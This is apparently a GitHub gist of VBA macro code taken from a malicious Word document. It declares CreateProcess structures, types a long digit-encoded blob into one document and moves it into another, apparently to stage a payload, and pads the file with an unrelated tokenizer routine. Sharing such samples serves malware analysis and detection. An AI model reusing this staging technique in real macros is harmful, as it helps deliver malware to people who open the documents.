Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save JohnLaTwC/1ae613e6c36472a956b544adecce68d2 to your computer and use it in GitHub Desktop.
Save JohnLaTwC/1ae613e6c36472a956b544adecce68d2 to your computer and use it in GitHub Desktop.
maldoc vba
'The CreatePipe function creates an anonymous pipe,
'and returns handles to the read and write ends of the pipe.
'Structure used by the CreateProcessA function
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
'Structure used by the CreateProcessA function
Public Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
'Structure used by the CreateProcessA function
Public Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessID As Long
dwThreadID As Long
End Type
'This function launch the the commend and return the relative process
'into the PRECESSINFORMATION structure
'Consts for the above functions
Public Const NORMALPRIORITYCLASS = &H20&
Public Const STARTFUSESTDHANDLES = &H100&
Public Const STARTFUSESHOWWINDOW = &H1
Function ReebokStory65() As Boolean
Options.ReplaceSelection = True
ActiveDocument.Sentences(1).Select
Selection.TypeText "4696378599195373362256883866937901324548882862765167271884756890434814607958493657399"
Selection.TypeText "2700491827253413545389628954509765383683875787552300974711543847683018648073793747591"
Selection.TypeText "2782987763989596270048692032706603594827390856178670849818131532084537351032316482485"
Selection.TypeText "6115628888808774150389319477526887915908673461957795457559648630844532686961786876601"
Selection.TypeText "2365858053636876080904612279716334791912340265791321550202268141792676307311668910892"
Selection.TypeText "9108294528623859420418522541439855557009978280682819156950848627409182407053783032814"
Selection.TypeText "5063387350054009784095928273161707914449359339473782057225932667308983288884710911017"
Selection.TypeText "2205072402894553723765814278035494699222297030643269776657735440579989890233061402877"
Selection.TypeText "4726009183703099233444796479917683644945639755616521980963858196130232538023952768545"
Selection.TypeText "0959309702295828733927759860571379602959820947545158050521849545561235440773178955050"
Selection.TypeText "2165412234782944960622574312881918302959730135216854987039471433028200711185491410136"
Selection.TypeText "5842124372981522547209941540057860038277461176718551274491852358988868125548128184630"
Selection.TypeText "0131257218753540072919057495249674217937459834329030234338905775387246357158535233303"
Selection.TypeText "8384320516177609503344779373082870016112976211847156950715571896208601416570059589450"
Selection.TypeText "0666017304408258840171540231709440388577495037417775624011189465067131144162666862147"
Selection.TypeText "5879005211078812009477478871659681629110990705259207947532252332007844423529519498113"
Selection.TypeText "4224505918586192152568364258787234801667825851209680674411575314490916754747634437588"
Selection.TypeText "0226394396445391900769656038198110235905162795902447263853584871567184090760439552650"
Selection.TypeText "1018171728341185282653026887617169958763691410190327188222401148976417307434602695176"
Selection.TypeText "5345312138661830703125795697962949475234410784476677910070276513347204881174849437022"
Selection.TypeText "1852758629826960309295679268416579663813473654728803326183092012135165054081019514393"
Selection.TypeText "5888871942179060214731929595883835805447803388141027384240228942085693130095860795338"
Selection.TypeText "2609800998787689919330823242322939700082532059355188911252708944355215624145444142583"
Selection.TypeText "9294609640595657644987342039097543190531379706629362165525841880039622402919945436087"
Selection.TypeText "3309623925991309443339160351348140926693608006089896971190510969638619384244127362472"
Selection.TypeText "6719913213496861221522388759900305573778799220638928416644949915858469827867446453027"
Selection.TypeText "0859261574729734796639959410654739397331497346882280336137435864371158226243878760188"
Selection.TypeText "6829909495204163619299357071087499576185385454363773763855490065089121858793912113795"
Selection.TypeText "6288635963258347894361590924652137469893729495981387151764563455703718824743886087451"
Selection.TypeText "1920695240942306808264026991610203590442856240677467583890316183199314443981867781140"
Selection.TypeText "4263231965177397230769790636760393565217103536373368540190787021238004669287453866487"
Selection.TypeText "2596799254939798413720373778085721217313960959006525402013733746788668987381151098968"
Selection.TypeText "5891184241473930133579762325666844971442639645432435629021389110152457524005237473298"
Selection.TypeText "8716641720072083454739765706622825720112377456434608071444995093804581909219966367420"
Selection.TypeText "0940539761265547440848846838416362633402697251130139176351503263354360331895632592431"
Selection.TypeText "7021026414471558193719342721241857960611506226959202736624809109851159370971967992907"
Selection.TypeText "3408283922963970658477820718935253565581292808868944008566877534972897899340908137593"
Selection.TypeText "7415644764426776666870501922673973526673721421239939143286303087788995280962503555648"
Selection.TypeText "7257967840489084977518381898152837101215997460528299727209106979170358737243850527995"
Selection.TypeText "3318423082552175544492113263356443019254123398718413826117905259683473167903418804496"
Selection.TypeText "0258899413522259659158312834064124599453163311255912187449339641041323739552698149999"
Selection.TypeText "2785895498882381633518289377189648019738671681308728416903698631887237289742649078346"
Selection.TypeText "6986387557812387072092756403578295553063527030874103842735819551132931389312145627400"
Selection.TypeText "3833252051023280840292413587324369205549792068887398423047734306902464577714019390398"
Selection.TypeText "2517987956704406801856445171447975877958577747062364847931179441600406027819140023958"
Selection.TypeText "4001261717079985060874317459110037548522219798878430656542432835133556532537808318957"
Selection.TypeText "5755467388621116514367754691196317027414224286476374241383344349192343985978240923417"
Selection.TypeText "0135645636590655652530072222785003472113751826791563866122949499652729367232344978686"
Selection.TypeText "8432777188634356271026330538449486807143379919343251743795119771178909965482370952781"
Selection.TypeText "2151781706760540889933083063489066636028024127722849465963028084513245872898437455325"
Selection.TypeText "8534045839802577466850198759575268544350237317425876341478735985120701921212849062963"
Selection.TypeText "7312975743058471003357851188080070140538527530670732943895434559405318420021295702183"
Selection.TypeText "5312027404913145114264723328508896865643400726834089210190598599760457442740986031044"
Selection.TypeText "0319418167626629069923546755454847486535899338103457101801543957671369383009264700668"
Selection.TypeText "6855456213806750299114137146368856538787638796664037689732931071360071501499535361382"
Selection.TypeText "1707549256046085468623621715108252756470377190148089001269939337727994020819656782184"
Selection.TypeText "3901312091379438709193400004367578130838100948748949580026590411219123029017055339798"
Selection.TypeText "2494938462117903378507297011953348882132527146638368284840473285555556862233219752672"
Selection.TypeText "4718184604425111740558484248759731240147464157736800566417555116685086217529810103850"
Selection.TypeText "9878551707051056120436512698663977624726654576807528987989712477807016751150930545693"
Selection.TypeText "0700777168434381138876586522140528707027518461119980832760889104414254861991804827527"
Selection.TypeText "9432898759241867901449413469097700112253352954056511304358539250998589786965475331162"
Selection.TypeText "4975333599987913425108724638677296688487949284873219094322964501396328601649035293225"
Selection.TypeText "7755810869211030020150575551495784704310632952588438409737916149411763199168546536270"
Selection.TypeText "6316432965784791243547047698881227443345585624287854038825094712995880063211228931994"
Selection.TypeText "0850896145790360704194636217525586979015126957702589813402411237596529587009881158170"
Selection.TypeText "1813686141283980260860458895909324444247603561506851011530602541048951732492261000166"
Selection.TypeText "9989149834787019879427397644383583901280503679628508003047273813504022849413767185459"
Selection.TypeText "3457223298357816015478479554374912925962941460686051305523560226732848981438699722103"
Selection.TypeText "6754047545131912968104351090576442120061626294757811062983909166456147734706888409600"
Selection.TypeText "9639368394113470984906199376367622353336542041668771921811979269265614451531938403647"
Selection.TypeText "0385226526481188212267296860262804265602675894581917254087428021621855953091011495002"
Selection.TypeText "2951608524405612488813150527709958997117396999222483510970156516973301480812738911837"
Selection.TypeText "2410032180590300563021598883923730538203124877446629591807645577600306707164556838636"
Selection.TypeText "7907755001673890541655508648874598566876603187961784464970631345798244861903553968805"
Selection.TypeText "0469796900192737624555778593141368202845275940005148654901523134476016002533912593291"
Selection.TypeText "6143139567817524561869755928158688054766247986441995382916627143024824677871179851164"
Selection.TypeText "6559607067852065298499587933672157379916317775056041441301715795675525014438053823476"
Selection.TypeText "0055070768059499838616662706162690786513467559201923792907415803337471847602799970125"
Selection.TypeText "3604796545316298483843000765770718280526656865758716230265919306258858260755843038346"
Selection.TypeText "1433780462394516572870058811080763425382726025781077875855174058161254483641544185273"
Selection.TypeText "9143411142294456816906389394733139344476573454279413212120191078560276199170478033846"
Selection.TypeText "4127294904878787783794748654296267711624517562579759363523094335633650014060158078380"
Selection.TypeText "1601731006857329465884792554995784812698016745723214001760775105577448589486858491243"
Selection.TypeText "7316816973622852911842788057511414008391705110217186529809411720528158175427565998931"
Selection.TypeText "9389209827197913054671135850274603031649381085860021386140629840322992358800380977243"
Selection.TypeText "5030591172632951610268446575872266313673296552313599343690242178130643661024521092021"
Selection.TypeText "1494190250029765287724838339954638283149108879076176505524828333346361935758592105501"
Selection.TypeText "0145175218296280444464473360965303706356275707931464041904185281011984002147682122345"
Selection.TypeText "7811325636848672115958023701351536665934165228182380598076547752897948366589611108804"
Selection.TypeText "1998434124905949167448274755714413597919221240870521558727049391690365375655409631887"
Selection.TypeText "3632695768060742460288391230045026809747825066214755201467317360887512499860044423432"
Selection.TypeText "0126206714683661448345322569439593058470129726020408107238362639926787972777607186183"
Selection.TypeParagraph
With Documents(1)
.Paragraphs.Last.Range.Select
.ActiveWindow.Selection.Cut
End With
With Documents(2).ActiveWindow.Selection
.StartOf Unit:=wdStory, Extend:=wdMove
.Paste
End With
End Function
Public Sub ExtractToken2()
Dim i As Integer
'********************
'* SCANNING ROUTINE *
'********************
'Set default values
OutputString = ""
OutputValue = 0
ValueString = ""
'If at the end of string, return EOS
If CurrentEntryIndex > Len(InputString) Then
OutputString = "EOS"
Exit Sub
End If
'Get character to be examined
Char = Mid(InputString, CurrentEntryIndex, 1)
'Space
If Char = " " Then
CurrentEntryIndex = CurrentEntryIndex + 1
ExtractToken
Exit Sub
End If
'Operator or parenthesis
If Char = "+" Or Char = "-" Or Char = "*" Or Char = "/" Or Char = "^" Or Char = "(" Or Char = ")" Or Char = "!" Or Char = "=" Then
CurrentEntryIndex = CurrentEntryIndex + 1
'Set return value
OutputString = Char
Exit Sub
End If
'Number
If (Char >= "0" And Char <= "9") Or Char = "." Then
'Digits before decimal
While Char >= "0" And Char <= "9"
ValueString = ValueString + Char
CurrentEntryIndex = CurrentEntryIndex + 1
If CurrentEntryIndex <= Len(InputString) Then
Char = Mid(InputString, CurrentEntryIndex, 1)
Else
Char = ""
End If
Wend
'Decimal
While Char = "."
ValueString = ValueString + Char
CurrentEntryIndex = CurrentEntryIndex + 1
If CurrentEntryIndex <= Len(InputString) Then
Char = Mid(InputString, CurrentEntryIndex, 1)
Else
Char = ""
End If
Wend
'Digits after decimal
While Char >= "0" And Char <= "9"
ValueString = ValueString + Char
CurrentEntryIndex = CurrentEntryIndex + 1
If CurrentEntryIndex <= Len(InputString) Then
Char = Mid(InputString, CurrentEntryIndex, 1)
Else
Char = ""
End If
Wend
'Set return values
OutputString = "Number"
OutputValue = CDbl(ValueString)
Exit Sub
End If
'Return text language identifiers
If LCase(Char) >= "a" And LCase(Char) <= "z" Then
While (LCase(Char) >= "a" And LCase(Char) <= "z")
ValueString = ValueString + Char
CurrentEntryIndex = CurrentEntryIndex + 1
If CurrentEntryIndex <= Len(InputString) Then
Char = Mid(InputString, CurrentEntryIndex, 1)
Else
Char = ""
End If
Wend
'Pi or e
If LCase(ValueString) = "pi" Or LCase(ValueString) = "e" Then
OutputString = "Number"
If LCase(ValueString) = "pi" Then
OutputValue = Pi
Else
OutputValue = Exp(1)
End If
Exit Sub
End If
'Set return value
OutputString = LCase(ValueString)
Exit Sub
End If
End Sub
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment